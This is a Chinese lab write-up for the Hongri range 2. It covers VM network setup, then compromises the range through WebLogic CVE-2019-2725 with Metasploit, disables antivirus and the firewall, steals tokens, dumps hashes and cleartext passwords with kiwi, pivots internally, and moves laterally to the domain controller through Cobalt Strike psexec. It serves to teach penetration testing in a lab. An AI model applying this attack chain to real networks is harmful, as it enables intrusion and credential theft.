WebLogic wls9-async 组件命令执行漏洞
红日靶场2
环境搭建
网络拓扑图
配置网段
打开vm找到左上角编辑—>虚拟网络编辑器
添加一段虚拟网络VMnet7,设置为仅主机s
配置DC域控
点击.vmx
文件加载虚拟机配置,然后点击升级此虚拟机
将兼容性改成16.2
点击更改此虚拟机
即可
剩下两台机子都需要进行上述操作就不再赘述
修改网络适配器为VMnet7
网卡
配置PC
PC机相当于网关服务器,所以需要两张网卡,一个用来向外网提供web服务,一个是通向内网
由于作者设置的NET网段是192.168.111.0/24
,而我们的NET网卡是192.168.132.0/24
,所以需要修改一下
我们使用密码1qaz@WSX
登录PC机,打开控制面板 => 网络和 Internet => 网络和共享中心
。点击左侧更改网络适配器,选择本地连接使用administrator:1qaz@WSX
查看属性,修改下ip地址以及默认网关即可
查看下ipconfig,修改成功
配置WEB
需要两块网卡,相当于网关服务器
和PC机一样,我们也需要登录修改下网络适配器,不过这里需要将快照先回退到V1.3的时候
使用1qaz@WSX
登录后和配置PC机一样的步骤,修改ip地址和默认网关
查看ipconfig,修改成功
然后开启下web服务,访问C:\Oracle\Middleware\user_projects\domains\base_domain\bin
遇到无权限访问就使用administrator:1qaz@WSX
登录,然后以管理员权限执行startWebLogic
文件
启动服务成功
信息搜集
使用fscan扫描下端口
1 | ./fscan -h 192.168.132.80 -no |
扫描结果如下
外网打点
可以发现7001端口扫出来有weblogic中间件的CVE-2019-2725
,这里试了半天
注:由于是java反序列化的漏洞,所以网上不同exp对应的jdk版本可能不同,在使用时需要注意下
我们打开metasploit搜索一下cve-2019-2725
依次执行以下命令
1 | use exploit/multi/misc/weblogic_deserialize_asyncresponseservice |
成功拿到meterpreter会话
执行shell命令,输入chcp 65001
解决中文乱码问题
养成好习惯,上线msf第一件事在meterpreter会话中关闭杀毒软件
1 | run killav |
还有关闭防火墙
1 | netsh advfirewall set allprofiles state off |
权限提升
尝试窃取SYSTEM权限令牌,在meterpreter会话依次执行以下命令
1 | load incognito #加载incognito模块 |
内网渗透
本机信息搜集
查看网络适配器
1 | ipconfig |
可以知道还存在10.10.10.0/24
内网网段
查看本地用户信息
1 | net user |
存在三个用户
查看本地管理员组
1 | net localgroup administrators |
域内信息搜集
查看是否存在域环境
1 | net config Workstation |
坑点:在没有提权前是可以执行找到名为
DE1AY
的域环境,但是后面提升到SYSTEM权限执行不了此命令
查看域用户信息
1 | net user /domain |
查看域用户组信息
1 | net group "Domain Admins" /Domain |
查看域管理员组,得到管理员用户为Administrator
查看主域控制器
1 | net time /domain |
定位主域控制器
拿到主域控制器名称后,执行以下命令定位目标主机在内网的IP为10.10.10.10
1 | ping DC.de1ay.com |
探测内网存活主机
由于我们拿到shell了,利用后渗透阶段的基于arp协议探测
1 | run post/windows/gather/arp_scanner rhosts=10.10.10.0/24 |
发现存活主机10.10.10.10
和10.10.10.201
用户凭据收集
抓取Hash
1 | run hashdump |
抓取明文密码
我们先将进程迁移到64位程序中,比如PID为516的lsass.exe进程
使用msf中的kiwi模块
1 | load kiwi #加载kiwi模块 |
抓取到明文密码
内网横向移动
我们前面知道还存在10.10.10.0/24
网段,借助MSF 的 autoroute 模块获取当前机器的所有网段信息
1 | run post/multi/manage/autoroute |
尝试探测10.10.10.201
的445端口是否开放
1 | use auxiliary/scanner/portscan/tcp |
开启445端口的话,尝试使用永恒之蓝漏洞,利用失败
1 | use exploit/windows/smb/ms17_010_eternalblue |
尝试直接psexec横向移动,利用失败
1 | use exploit/windows/smb/psexec |
只好联动metasploit上线cs试试
启动服务端
1 | sudo ./teamserver 192.168.132.133 rev1ve |
然后启动客户端
1 | java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar |
创建监听器,监听本地1028端口
在metasploit把shell弹到cs上
1 | use exploit/windows/local/payload_inject |
成功上线cs,然后选择刚刚的监听器进行提权
我们先进行端口扫描不然视图没有10.10.10.201
的IP地址,然后抓取Hash和明文密码
接着创建SMB监听器,在左上角点击显示目标。选择域控主机点击jump => psexec
填写信息,选择我们刚刚创建的SMB监听器以及SYSTEM权限的shell
成功上线域控主机
参考文章
环境搭建: